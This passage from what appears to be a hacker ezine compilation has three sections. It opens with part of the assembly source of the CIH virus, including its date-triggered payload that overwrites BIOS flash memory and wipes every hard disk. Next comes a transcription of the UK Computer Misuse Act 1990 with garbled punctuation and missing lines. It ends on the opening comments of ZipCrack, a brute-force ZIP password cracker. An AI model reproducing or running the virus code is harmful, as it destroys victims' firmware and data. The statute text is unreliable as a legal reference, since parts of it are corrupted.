                  push      dword ptr [ebx+20h+04h+14h]   ; Push pioreq
                  call     [ebx+20h+04h]                  ; Call pIFSFunc
                  pop       ecx                           ;

                  mov      [ebx+1ch], eax      ; Modify EAX Value in Stack

; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the  *
; * Returned pioreq.        *
; ***************************

                  cmp      dword ptr [ebx+20h+04h+04h], 00000024h
                  jne      QuitMyVirusFileSystemHook

; *****************
; * Get the File  *
; * Modification  *
; * Date and Time *
; * in DOS Format.*
; *****************

                  mov      eax, [ecx+28h]
                  mov      (FileModificationTime-@6)[esi], eax

; ***************************
; * Quit My Virus'          *
; * IFSMgr_FileSystemHook   *
; ***************************

QuitMyVirusFileSystemHook:

                  popad

                  ret

; *************************************
; * Kill Computer !? ...   *^_^*      *
; *************************************

IsKillComputer:
; Get Now Day from BIOS CMOS
                  mov      al, 07h
                  out      70h, al
                  in       al, 71h

                  xor      al, 26h      ; ??/26/????

IF      DEBUG
                  jmp      DisableOnBusy
ELSE
                  jnz      DisableOnBusy
ENDIF

; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************

; ***************************
; * Kill BIOS EEPROM        *
; ***************************

                  mov       bp, 0cf8h
                  lea       esi, IOForEEPROM-@7[esi]

; ***********************
; * Show BIOS Page in   *
; * 000E0000 - 000EFFFF *
; *    (   64 KB   )    *
; ***********************

                  mov       edi, 8000384ch
                  mov       dx, 0cfeh
                  cli
                  call      esi

; ***********************
; * Show BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************

                  mov       di, 0058h
                  dec       edx                              ; and al,0fh
                  mov       word ptr (BooleanCalculateCode-@10)[esi], 0f24h
                  call      esi

; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E01FF *
; *   (   512 Bytes   ) *
; * , and the Section   *
; * of Extra BIOS can   *
; * be Writted...       *
; ***********************

                  lea       ebx, EnableEEPROMToWrite-@10[esi]

                  mov       eax, 0e5555h
                  mov       ecx, 0e2aaah
                  call      ebx
                  mov       byte ptr [eax], 60h

                  push      ecx
                  loop      $

; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory  *
; * 000E0000 - 000E007F *
; *   (   80h Bytes   ) *
; ***********************

                  xor       ah, ah
                  mov      [eax], al

                  xchg      ecx, eax
                  loop      $

; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data  *
; * 000E0000 - 000FFFFF *
; *   (   128 KB   )    *
; * can be Writted...   *
; ***********************

                  mov       eax, 0f5555h
                  pop       ecx
                  mov       ch, 0aah
                  call      ebx
                  mov       byte ptr [eax], 20h

                  loop      $

; ***********************
; * Kill the BIOS Main  *
; * ROM Data in Memory  *
; * 000FE000 - 000FE07F *
; *   (   80h Bytes   ) *
; ***********************

                  mov       ah, 0e0h
                  mov      [eax], al

; ***********************
; * Hide BIOS Page in   *
; * 000F0000 - 000FFFFF *
; *    (   64 KB   )    *
; ***********************
                                                      ; or al,10h
                  mov       word ptr (BooleanCalculateCode-@10)[esi], 100ch
                  call      esi

; ***************************
; * Kill All HardDisk       *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs          *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************

KillHardDisk:
                  xor       ebx, ebx
                  mov       bh, FirstKillHardDiskNumber
                  push      ebx
                  sub       esp, 2ch
                  push      0c0001000h
                  mov       bh, 08h
                  push      ebx
                  push      ecx
                  push      ecx
                  push      ecx
                  push      40000501h
                  inc       ecx
                  push      ecx
                  push      ecx

                  mov       esi, esp
                  sub       esp, 0ach

LoopOfKillHardDisk:
                  int       20h
                  dd        00100004h      ; VXDCall IOS_SendCommand

                  cmp       word ptr [esi+06h], 0017h
                  je        KillNextDataSection

ChangeNextHardDisk:
                  inc       byte ptr [esi+4dh]

                  jmp       LoopOfKillHardDisk

KillNextDataSection:
                  add       dword ptr [esi+10h], ebx
                  mov       byte ptr [esi+4dh], FirstKillHardDiskNumber

                  jmp       LoopOfKillHardDisk

; ***************************
; * Enable EEPROM to Write  *
; ***************************

EnableEEPROMToWrite:
                  mov      [eax], cl
                  mov      [ecx], al
                  mov       byte ptr [eax], 80h
                  mov      [eax], cl
                  mov      [ecx], al

                  ret

; ***************************
; * IO for EEPROM           *
; ***************************

IOForEEPROM:
@10        =      IOForEEPROM

                  xchg      eax, edi
                  xchg      edx, ebp
                  out       dx, eax

                  xchg      eax, edi
                  xchg      edx, ebp
                  in        al, dx

BooleanCalculateCode      =      $
                  or        al, 44h

                  xchg      eax, edi
                  xchg      edx, ebp
                  out       dx, eax

                  xchg      eax, edi
                  xchg      edx, ebp
                  out       dx, al

                  ret

; *********************************************************
; *                  Static Data                       *
; *********************************************************

LastVxDCallAddress    =      IFSMgr_Ring0_FileIO
VxDCallAddressTable db      00h
                    db      IFSMgr_RemoveFileSystemApiHook-_PageAllocate
                    db      UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
                    db      IFSMgr_Ring0_FileIO-UniToBCSPath

VxDCallIDTable      dd      00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize      =      ($-VxDCallIDTable)/04h

; *********************************************************
; *                Virus Version Copyright                *
; *********************************************************

VirusVersionCopyright db      'CIH v'
                      db      MajorVirusVersion+'0'
                      db      '.'
                      db      MinorVirusVersion+'0'
                      db      ' TATUNG'

; *********************************************************
; *                  Virus Size                           *
; *********************************************************

VirusSize   =      $
;                     + SizeOfVirusCodeSectionTableEndMark(04h)
;                     + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                     + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *                  Dynamic Data                         *
; *********************************************************

VirusGameDataStartAddress =      VirusSize
@6              =      VirusGameDataStartAddress
OnBusy                    db      0
FileModificationTime      dd      ?

FileNameBuffer            db     FileNameBufferSize dup(?)
@7              =      FileNameBuffer

DataBuffer      =      $
@8              =      DataBuffer
NumberOfSections          dw      ?
TimeDateStamp             dd      ?
SymbolsPointer            dd      ?
NumberOfSymbols           dd      ?
SizeOfOptionalHeader      dw      ?
_Characteristics          dw      ?
Magic                     dw      ?
LinkerVersion             dw      ?
SizeOfCode                dd      ?
SizeOfInitializedData     dd      ?
SizeOfUninitializedData   dd      ?
AddressOfEntryPoint       dd      ?
BaseOfCode                dd      ?
BaseOfData                dd      ?
ImageBase                 dd      ?
@9              =      $
SectionAlignment          dd      ?
FileAlignment             dd      ?
OperatingSystemVersion    dd      ?
ImageVersion              dd      ?
SubsystemVersion          dd      ?
Reserved                  dd      ?
SizeOfImage               dd      ?
SizeOfHeaders             dd      ?
SizeOfImageHeaderToRead   =      $-NumberOfSections

NewAddressOfEntryPoint    =      DataBuffer      ; DWORD
SizeOfImageHeaderToWrite  =      04h

StartOfSectionTable       =      @9
SectionName     =      StartOfSectionTable          ; QWORD
VirtualSize     =      StartOfSectionTable+08h      ; DWORD
VirtualAddress  =      StartOfSectionTable+0ch      ; DWORD
SizeOfRawData   =      StartOfSectionTable+10h      ; DWORD
PointerToRawData=      StartOfSectionTable+14h      ; DWORD
PointerToRelocations      =      StartOfSectionTable+18h      ; DWORD
PointerToLineNumbers      =      StartOfSectionTable+1ch      ; DWORD
NumberOfRelocations       =      StartOfSectionTable+20h      ; WORD
NumberOfLinenNmbers       =      StartOfSectionTable+22h      ; WORD
Characteristics =      StartOfSectionTable+24h      ; DWORD
SizeOfScetionTable        =      Characteristics+04h-SectionName

; *********************************************************
; *            Virus Total Need Memory                   *
; *********************************************************

VirusNeedBaseMemory       =      $

VirusTotalNeedMemory      =      @9
;                         + NumberOfSections(??)*SizeOfScetionTable(28h)
;                         + SizeOfVirusCodeSectionTableEndMark(04h)
;                         + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;                         + SizeOfTheFirstVirusCodeSectionTable(04h)

; *********************************************************
; *********************************************************

VirusGame                 ENDS

                          END     FileHeader

; We hope you enjoy :)

<CUT HERE>------<SHRED HERE>-----<SLICE HERE>-----<DICE HERE>

3. The Computer Misuse Act 1990 - UK
~~ ~~~ ~~~~~~~~ ~~~~~~ ~~~ ~~~~ ~ ~~

                       The 1990 Computer Misuse Act - UK
                       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                                  29 June 1990

                              SECTION: Long title

 TEXT:
   An Act to make provision for securing computer material against
unauthorised access or modification; and for connected purposes


              SECTION: 1 Unauthorised access to computer material

 TEXT:
   (1) A person is guilty of an offence if))

   (a) he causes a computer to perform any function with intent to
       secure access to any program or data held in any computer;

   (b) the access he intends to secure is unauthorised; and
   (c) he knows at the time when he causes the computer to perform
       the function that that is the case.

   (2) The intent a person has to have to commit an offence under
       this section need not be directed at))

   (a) any particular program or data;

   (b) a program or data of any particular kind; or

   (c) a program or data held in any particular computer.

   (3) A person guilty of an offence under this section shall be
       liable on summary conviction to imprisonment for a term not
       exceeding six months or to a fine not exceeding level 5 on the
       standard scale or to both.


           SECTION: 2 Unauthorised access with intent to commit or
                  facilitate commission of further offences


 TEXT:
   (1) A person is guilty of an offence under this section if he
       commits an offence under section 1 above ("the unauthorised access
       offence") with intent))
   (a) to commit an offence to which this section applies; or
   (b) to facilitate the commission of such an offence (whether by
       himself or by any other person);

       and the offence he intends to commit or facilitate is referred
       to below in this section as the further offence.

   (2) This section applies to offences
   (a)

   (b) for which a person of twenty)one years of age or over (not
       previously convicted) may be sentenced to imprisonment for a term
       of five years (or, in England and Wales, might be so sentenced but
       for the restrictions imposed by section 33 of the Magistrates'
       Courts Act 1980).

   (3) It is immaterial for the purposes of this section whether
       the further offence is to be committed on the same occasion as the
       unauthorised access offence or on any future occasion.

   (4) A person may be guilty of an offence under this section even
       though the facts are such that the commission of the further
       offence is impossible.
   (5) A person guilty of an offence under this section shall be
       liable))
   (a) on summary conviction, to imprisonment for a term not
       exceeding six months or to a fine not exceeding the statutory
       maximum or to both; and
   (b) on conviction on indictment, to imprisonment for a term not
       exceeding five years or to a fine or to both.


         SECTION: 3 Unauthorised modification of computer material


 TEXT:
   (1) A person is guilty of an offence if)

   (a) he does any act which causes an unauthorised modification of
       the contents of any computer; and

   (b) at the time when he does the act he has the requisite intent
       and the requisite knowledge.

   (2) For the purposes of subsection (1)(b) above the requisite
       intent is an intent to cause a modification of the contents of any
       computer and by so doing))
   (a) to impair the operation of any computer;

   (b) to prevent or hinder access to any program or data held in
       any computer; or

   (c) to impair the operation of any such program or the
       reliability of any such data.

   (3) The intent need not be directed at))

   (a) any particular computer;

   (b) any particular program or data or a program or data of any
       particular kind; or
   (c) any particular modification or a modific particular kind.
   (4) For the purposes of subsection (1)(b) above the requisite
       knowledge is knowledge that any modification he intends to cause is
       unauthorised.
   (5) It is immaterial for the purposes of this section whether an
       unauthorised modification or any intended effect of it of a kind
       mentioned in subsection (2) above is, or is intended to be,
       permanent or merely temporary.
   (6) For the purposes of the Criminal Damage Act 1971 a
       modification of the contents of a computer shall not regarded as
       damaging any computer or computer storage medium unless its effect
       on that computer or computer storage medium impairs its physical
       condition.

   (7) A person guilty of an offence under this section shall be
       liable))
   (a) on summary conviction, to imprisonment for a term not
       exceeding six months or to a fine not exceeding the statutory
       maximum or to both; and
   (b) on conviction on indictment, to imprisonment for a term not
       exceeding five years or to a fine or to both.


                          CROSS)HEADING: Jurisdiction

           SECTION: 4 Territorial scope of offences under this Act
                         DATE)IN)FORCE: 29 August 1990

 TEXT:
   (1) Except as provided below in this section, it is immaterial
       for the purposes of any offence under section 1 or 3 above))

   (a) whether any act or other event proof of which is required
       for conviction of the offence occurred in the home country
       concerned; or

   (b) whether the accused was in the home country concerned at the
       time of any such act or event.

   (2) Subject to subsection (3) below, in the case of such an
       offence at least one significant link with domestic jurisdiction
       must exist in the circumstances of the case for the offence to be
       committed.

   (3) There is no need for any such link to exist for the
       commission of an offence under section 1 above to be established in
       proof of an allegation to that effect in proceedings for an offence
       under section 2 above.
   (4) Subject to section 8 below, where))

   (a) any such link does in fact exist in the case of an offence under
       section 1 above; and
   (b) commission of that offence is alleged in offence under section 2
       above;

      section 2 above shall apply as if anything the accused intended
      to do or facilitate in any place outside the home country concerned
      which would be an offence to which section 2 applies if it took
      place in the home country concerned were the offence in question.

   (5) This section is without prejudice to any jurisdiction
       exercisable by a court in Scotland apart from this section.

   (6) References in this Act to the home country concerned are
       references))
   (a) in the application of this Act to England and Wales, to
       England and Wales;

   (b) in the application of this Act to Scotland, to Scotland; and
   (c) in the application of this Act to Northern Ireland, to
       Northern Ireland.


                          CROSS)HEADING: Jurisdiction

           SECTION: 5 Significant links with domestic jurisdiction


 TEXT:
   (1) The following provisions of this section apply for the
       interpretation of section 4 above.

   (2) In relation to an offence under section 1, either of the
       following is a significant link with domestic jurisdiction))

   (a) that the accused was in the home country concerned at the
       time when he did the act which caused the computer to perform the
       function; or
   (b) that any computer containing any program or data to which
       the accused secured or intended to secure unathorised access by
       doing that act was in the home country concerned at that time.

   (3) In relation to an offence under section 3, either of the
       following is a significant link with domestic jurisdiction))

   (a) that the accused was in the home country concerned at the
       time when he did the act which caused the unauthorised
       modification; or

   (b) that the unauthorised modification took place in the home
       country concerned.



                          CROSS)HEADING: Jurisd
       SECTION: 6 Territorial scope of inchoate offences related to
                           offences under this Act



 TEXT:
   (1) On a charge of conspiracy to commit an offence under this
       Act the following questions are immaterial to the accused's guilt))

   (a) the question where any person became a party to the
       conspiracy; and
   (b) the question whether any act, omission or other event
       occured in the home country concerned.

   (2) On a charge of attempting to commit an offence under section
       3 above the following questions are immaterial to the accused's
       guilt))

   (a) the question where the attempt was made; and

   (b) the question whether it had an effect in the home country
       concerned.
   (3) On a charge of incitement to commit an offence under this
       Act the question where the incitement took place is immaterial to
       the accused's guilt.
   (4) This section does not extend to Scotland.


                          CROSS)HEADING: Jurisdiction

       SECTION: 7 Territorial scope of inchoate offences related to
       offences under external law corresponding to offences under
                                   this Act


 TEXT:
   (1))(3) . . .

   (4) Subject to section 8 below, if any act done by a person in
       England and Wales would amount to the offence of incitement to
       commit an offence under this Act but for the fact that what he had
       in view would not be an offence triable in England and Wales))

   (a) what he had in view shall be treated as an offence under
       this Act for the purposes of any charge of incitement brought in
       respect of that act; and
   (b) any such charge shall accordingly be triable in England and
       Wales.
 ANNOTATIONS:
   Sub)ss (1), (2): amend the Criminal Law Act 1977, s 1.

   Sub)s (3): amends the Criminal Attempts Act 1981, s 1.
                          CROSS)HEADING: Jurisd

                      SECTION: 8 Relevance of external law



 TEXT:
   (1) A person is guilty of an offence triable by virtue of
       section 4(4) above only if what he intended to do or facilitate
       would involve the commission of an offence under the law in force
       where the whole or any part of it was intended to take place.

   (2) A person is guilty of an offence triable by virtue of
       section 1(1A) of the Criminal Law Act 1977 only if the pursuit of
       the agreed course of conduct would at some stage involve))

   (a) an act or omission by one or more of the parties; or
   (b) the happening of some other event;

       constituting an offence under the law in force where the act,
       omission or other event was intended to take place.

   (3) A person is guilty of an offence triable by virtue of
       section 1(1A) of the Criminal Attempts Act 1981 or by virtue of
       section 7(4) above only if what he had in view would involve the
       commission of an offence under the law in force where the whole or
       any part of it was intended to take place.
   (4) Conduct punishable under the law in force in any place is an
       offence under that law for the purposes of this section, however it
       is described in that law.

   (5) Subject to subsection (7) below, a condition specified in
       any of subsections (1) to (3) above shall be taken to be satisfied
       unless not later than rules of court may provide the defence serve
       on the prosecution a notice))
   (a) stating that, on the facts as alleged with respect to the
       relevant conduct, the condition is not in their opinion satisfied;

   (b) showing their grounds for that opinion; and

   (c) requiring the prosecution to show that it is satisfied.
   (6) In subsection (5) above "the relevant conduct" means))
   (a) where the condition in subsection (1) above is in question,
       what the accused intended to do or facilitate;

   (b) where the condition in subsection (2) above is in question,
       the agreed course of conduct; and

   (c) where the condition in subsection (3) above is in question,
       what the accused had in view.

   (7) The court, if it thinks fit, may permit the defence to
       require the prosecution to show that the condition is satisfied
       without the prior service of a notice under subsection (5) above.
       jurisdiction in Scotland permits the defence to require the
       prosecution to show that the condition is satisfied, it shall be
       competent for the prosecution for that purpose to examine any
       witness or to put in evidence any production not included in the
       lists lodged by it.

   (9) In the Crown Court the question whether the condition is
       satisfied shall be decided by the judge alone.

   (10) In the High Court of Justiciary and in the sheriff court
       the question whether the condition is satisfied shall be decided by
       the judge or, as the case may be, the sheriff alone.


                          CROSS)HEADING: Jurisdiction

                   SECTION: 9 British citizenship immaterial


 TEXT:
   (1) In any proceedings brought in England and Wales in respect
       of any offence to which this section applies it is immaterial to
       guilt whether or not the accused was a British citizen at the time
       of any act, omission or other event proof of which is required for
       conviction of the offence.

   (2) This section applies to the following offences))

   (a) any offence under this Act;

   (b) conspiracy to commit an offence under this Act;

   (c) any attempt to commit an offence under section 3 above; and
   (d) incitement to commit an offence under this Act.


                    CROSS)HEADING: Miscellaneous and General
             SECTION: 10 Saving for certain law enforcement powers

 TEXT:
   Section 1(1) above has effect without prejudice to the
       operation))
   (a) in England and Wales of any enactment relating to powers of
       inspection, search or seizure; and

   (b) in Scotland of any enactment or rule of law relating to
       powers of examination, search or seizure.





                    CROSS)HEADING: Miscellaneous
              SECTION: 11 Proceedings for offences under section 1

 TEXT:
   (1) A magistrates' court shall have jurisiction to try an
       offence under section 1 above if))

   (a) the accused was within its commission area at the time when
       he did the act which caused the computer to perform the function;
       or

   (b) any computer containing any program or data to which the
       accused secured or intended to secure unauthorised access by doing
       that act was in its commission area at that time.

   (2) Subject to subsection (3) below, proceedings for an offence
       under section 1 above may be brought within a period of six months
       from the date on which evidence sufficient in the opinion of the
       prosecutor to warrant the proceedings came to his knowledge.

   (3) No such proceedings shall be brought by virtue of this
       section more than three years after the commission of the offence.

   (4) For the purposes of this section, a certificate signed by or
       on behalf of the prosecutor and stating the date on which evidence
       sufficient in his opinion to warrant the proceedings came to his
       knowledge shall be conclusive evidence of that fact.

   (5) A certificate stating that matter and purporting to be so
       signed shall be deemed to be so signed unless the contrary is
       proved.

   (6) In this section "commission area" has the same meaning as in
       the Justices of the Peace Act 1979.

   (7) This section does not extend to Scotland.


                    CROSS)HEADING: Miscellaneous and General
            SECTION: 12 Conviction of an offence under section 1 in
               proceedings for an offence under section 2 or 3

 TEXT:
   (1) If on the trial on indictment of a person charged with))
   (a) an offence under section 2 above; or

   (b) an offence under section 3 above or any attempt to commit
       such an offence;

   the jury find him not guilty of the offence charged, they may
       find him guilty of an offence under section 1 above if on the facts
       shown he could have been found guilty of that offence in
       proceedings for that offence brought before the expiry of any time
       limit under section 11 above applicable to such proceedings.
       relation to a person who is by virtue of this section convicted
       before it of an offence under section 1 above as a magistrates'
       court would have on convicting him of the offence.

   (3) This section is without prejudice to section 6(3) of the
       Criminal Law Act 1967 (conviction of alternative indictable offence
       on trial on indictment).
   (4) This section does not extend to Scotland.


                    CROSS)HEADING: Miscellaneous and General
                      SECTION: 13 Proceedings in Scotland



 TEXT:
   (1) A sheriff shall have jurisdiction in respect of an offence
       under section 1 or 2 above if))

   (a) the accused was in the sheriffdom at the time when he did
       the act which caused the computer to perform the function; or

   (b) any computer containing any program or data to which the
       accused secured or intended to secure unauthorised access by doing
       that act was in the sheriffdom at that time.

   (2) A sheriff shall have jurisdiction in respect of an offence
       under section 3 above if))

   (a) the accused was in the sheriffdom at the time when he did
       the act which caused the unauthorised modification; or

   (b) the unauthorised modification took place in the sheriffdom.

   (3) Subject to subsection (4) below, summary proceedings for an
       offence under section 1, 2 or 3 above may be commenced within a
       period of six months from the date on which evidence sufficient in
       the opinion of the procurator fiscal to warrant proceedings came to
       his knowledge.

   (4) No such proceedings shall be commenced by virtue of this
       section more than three years after the commission of the offence.

   (5) For the purposes of this section, a certificate signed by or
       on behalf of the procurator fiscal and stating the date on which
       evidence sufficient in his opinion to warrant the proceedings came
       to his knowledge shall be conclusive evidence of that fact.

   (6) A certificate stating that matter and purporting to be so
       signed shall be deemed to be so signed unless the contrary is
       proved.

   (7) Subsection (3) of section 331 of the Criminal ProcedureT
       apply for the purposes of this section as it applies for the
       purposes of that section.

   (8) In proceedings in which a person is charged with an offence
       under section 2 or 3 above and is found not guilty or is acquitted
       of that charge, he may be found guilty of an offence under section
       1 above if on the facts shown he could have been found guilty of
       that offence in proceedings for that offence commenced before the
       expiry of any time limit under this section applicable to such
       proceedings.

   (9) Subsection (8) above shall apply whether or not an offence
       under section 1 above has been libelled in the complaint or
       indictment.

   (10) A person found guilty of an offence under section 1 above
       by virtue of subsection (8) above shall be liable, in respect of
       that offence, only to the penalties set out in section 1.

   (11) This section extends to Scotland only.


                    CROSS)HEADING: Miscellaneous and General
          SECTION: 14 Search warrants for offences under section 1


 TEXT:
   (1) Where a circuit judge is satisfied by information on oath
       given by a constable that there are reasonable grounds for
       believing))

   (a) that an offence under section 1 above has been or is about
       to be committed in any premises; and

   (b) that evidence that such an offence has been or is about to
       be committed is in those premises;

   he may issue a warrant authorising a constable to enter and
       search the premises, using such reasonable force as is necessary.

   (2) The power conferred by subsection (1) above does not extend
       to authorising a search for material of the kinds mentioned in
       section 9(2) of the Police and Criminal Evidence Act 1984
       (privileged, excluded and special procedure material).

   (3) A warrant under this section))

   (a) may authorise persons to accompany any constable executing
       the warrant; and

   (b) remains in force for twenty)eight days from the date of its
       issue.
   (4) In exercising a warrant issued under this section a
       
       evidence that an offence under section 1 above has been or is about
       to be committed.

   (5) In this section "premises" includes land, buildings, movable
       structures, vehicles, vessels, aircraft and hovercraft.

   (6) This section does not extend to Scotland.


                    CROSS)HEADING: Miscellaneous and General
       SECTION: 15 Extradition where Schedule 1 to the Extradition
                               Act 1989 applies



 TEXT:
   The offences to which an Order in Council under section 2 of the
       Extradition Act 1870 can apply shall include))

   (a) offences under section 2 or 3 above;

   (b) any conspiracy to commit such an offence; and

   (c) any attempt to commit an offence under section 3 above.


                    CROSS)HEADING: Miscellaneous and General
                  SECTION: 16 Application to Northern Ireland


 TEXT:
   (1) The following provisions of this section have effect for
       applying this Act in relation to Northern Ireland with the
       modifications there mentioned.
   (2) In section 2(2)(b)))

   (a) the reference to England and Wales shall be read as a
       reference to Northern Ireland; and

   (b) the reference to section 33 of the Magistrates' Courts Act
       1980 shall be read as a reference to Article 46(4) of the
       Magistrates' Courts (Northern Ireland) Order 1981.

   (3) The reference in section 3(6) to the Criminal Damage Act
       1971 shall be read as a reference to the Criminal Damage (Northern
       Ireland) Order 1977.
   (4) Subsections (5) to (7) below apply in substitution for
       subsections (1) to (3) of section 7; and any reference in
       subsection (4) of that section to England and Wales shall be read
       as a reference to Northern Ireland.
   (5) The following paragraphs shall be inserted after paragraph
       (1) of Article 9 of the Criminal Attempts and Conspiracy (Northern
       Ireland) Order 1983))   
       (relevance of external law), if this paragraph applies to an
       agreement, this Part has effect in relation to it as it has effect
       in relation to an agreement falling within paragraph (1).

   (1B) Paragraph (1A) applies to an agreement if))

   (a) a party to it, or a party's agent, did anything in Northern
       Ireland in relation to it before its formation;

   (b) a party to it became a party in Northern Ireland (by joining
       it either in person or through an agent); or

   (c) a party to it, or a party's agent, did or omitted anything
       in Northern Ireland in pursuance of it;

   and the agreement would fall within paragraph (1) as an
       agreement relating to the commission of a computer misuse offence
       but for the fact that the offence would not be an offence triable
       in Northern Ireland if committed in accordance with the parties'
       intentions.".

   (6) The following paragraph shall be inserted after paragraph
       (4) of that Article)

   "(5) In the application of this Part to an agreement to which
       paragraph (1A) applies any reference to an offence shall be read as
       a reference to what would be the computer misuse offence in
       question but for the fact that it is not an offence triable in
       Northern Ireland.

   (6) In this Article "computer misuse offence" means an offence
       under the  Computer Misuse Act  1990.".

   (7) The following paragraphs shall be inserted after Article
       3(1) of that Order))

   "(1A) Subject to section 8 of the  Computer Misuse Act  1990
       (relevance of external law), if this paragraph applies to an act,
       what the person doing it had in view shall be treated as an offence
       to which this Article applies.
   (1B) Paragraph (1A) above applies to an act if))

   (a) it is done in Northern Ireland; and

   (b) it would fall within paragraph (1) as more than merely
       preparatory to the commission of an offence under section 3 of the
       Computer Misuse Act  1990 but for the fact that the offence, if
       completed, would not be an offence triable in Northern Ireland.".

   (8) In section 8))

   (a) the reference in subsection (2) to section 1(1A) of the
       Criminal Law Act 1977 shall be read as a reference to Article 9(1A)
   (b) the reference in subsection (3) to section 1(1A) of the
       Criminal Attempts Act 1981 shall be read as a reference to Article
       3(1A) of that Order.
   (9) The references in sections 9(1) and 10 to England and Wales
       shall be read as references to Northern Ireland.

   (10) In section 11, for subsection (1) there shall be
       substituted))
   "(1) A magistrates' court for a county division in Northern
       Ireland may hear and determine a complaint charging an offence
       under section 1 above or conduct a preliminary investigation or
       preliminary inquiry into an offence under that section if))

   (a) the accused was in that division at the time when he did the
       act which caused the computer to perform the function; or

   (b) any computer containing any program or data to which the
       accused secured or intended to secure unauthorised access by doing
       that act was in that division at that time.";

   and subsection (6) shall be omitted.

   (11) The reference in section 12(3) to section 6(3) of the
       Criminal Law Act 1967 shall be read as a reference to section 6(2)
       of the Criminal Law Act (Northern Ireland) 1967.

   (12) In section 14))

   (a) the reference in subsection (1) to a circuit judge shall be
       read as a reference to a county court judge; and

   (b) the reference in subsection (2) to section 9(2) of the
       Police and Criminal Evidence Act 1984 shall be read as a reference
       to Article 11(2) of the Police and Criminal Evidence (Northern
       Ireland) Order 1989.
 ANNOTATIONS:
   Sub)ss (5))(7): amend SI 1983 No 1120, arts 3, 9.


                    CROSS)HEADING: Miscellaneous and General
                           SECTION: 17 Interpretation


   (1) The following provisions of this section apply for the
       interpretation of this Act.

   (2) A person secures access to any program or data held in a
       computer if by causing a computer to perform any function he))

   (a) alters or erases the program or data;

   (b) copies or moves it to any storage medium other than that in
       which it is held or to a different location in the storage medium
       in which it is held;
   (c) uses it; or

   (d) has it output from the computer in which it is held (whether
       by having it displayed or in any other manner);

   and references to access to a program or data (and to an intent
       to secure such access) shall be read accordingly.

   (3) For the purposes of subsection (2)(c) above a person uses a
       program if the function he causes the computer to perform))

   (a) causes the program to be executed; or

   (b) is itself a function of the program.

   (4) For the purposes of subsection (2)(d) above))

   (a) a program is output if the instructions of which it consists
       are output; and

   (b) the form in which any such instructions or any other data is
       output (and in particular whether or not it represents a form in
       which, in the case of instructions, they are capable of being
       executed or, in the case of data, it is capable of being processed
       by a computer) is immaterial.

   (5) Access of any kind by any person to any program or data held
       in a computer is unauthorised if))

   (a) he is not himself entitled to control access of the kind in
       question to the program or data; and

   (b) he does not have consent to access by him of the kind in
       question to the program or data from any person who is so entitled.

   (6) References to any program or data held in a computer include
       references to any program or data held in any removable storage
       medium which is for the time being in the computer; and a computer
       is to be regarded as containing any program or data held in any
       such medium.

   (7) A modification of the contents of any computer takes place
       if, by the operation of any function of the computer concerned or
       any other computer))
   (a) any program or data held in the computer concerned is
       altered or erased; or

   (b) any program or data is added to its contents;

   and any act which contributes towards causing such a
       modification shall be regarded as causing it.

   (8) Such a modification is unauthorised if
       determine whether the modification should be made; and

   (b) he does not have consent to the modification from any person
       who is so entitled.

   (9) References to the home country concerned shall be read in
       accordance with section 4(6) above.

   (10) References to a program include references to part of a
       program.

                    CROSS)HEADING: Miscellaneous and General
                     SECTION: 18 Citation, commencement etc


   (1) This Act may be cited as the  Computer Misuse Act  1990.
   (2) This Act shall come into force at the end of the period of
       two months beginning with the day on which it is passed.

   (3) An offence is not committed under this Act unless every act
       or other event proof of which is required for conviction of the
       offence takes place after this Act comes into force.

<CUT HERE>------<SHRED HERE>-----<SLICE HERE>-----<DICE HERE>

4. Full Pascal source code for ZipCrack - A brute force .ZIP cracker
~~ ~~~~ ~~~~~~ ~~~~~~ ~~~~ ~~~ ~~~~~~~~ ~ ~ ~~~~~ ~~~~~ ~~~~ ~~~~~~~

program zipcrack;

{$M 16384, 0, 65536}

{-----------------------------------------------------------------------}
{                                                                       }
{ Program ZIPCRACK Copyright 1993 by Michael A. Quinlan                 }
{                                                                       }
{ Brute force attack on PKZIP V2 encryption.                            }
{ Based on the APPNOTE.TXT distributed with the registered version      }
{ of PKZIP 2.04g.                                                       }
{                                                                       }
{ Method: Generate all possible passwords; invoke PKUNZIP -t (test)     }
{ option to test each password.                                         }
{                                                                       }
{ Input: Minimum and maximum password lengths, password character set,  }
{ Zipfile name, name of file to extract.                                }
{                                                                       }
{ Options: Interval to save last password attempted; this allows the    }
{ program to be restarted.                                              }
{                                                                       }
{ Performance improvements: placing PKUNZIP and the Zipfile on a RAM    }
{ disk will improve speed. Increasing the 'save' interval will also     }
{ increase speed. Making the current directory a RAM disk is _NOT_      }
{ recommended, since a crash (power hit, etc.) will lose the saved      }
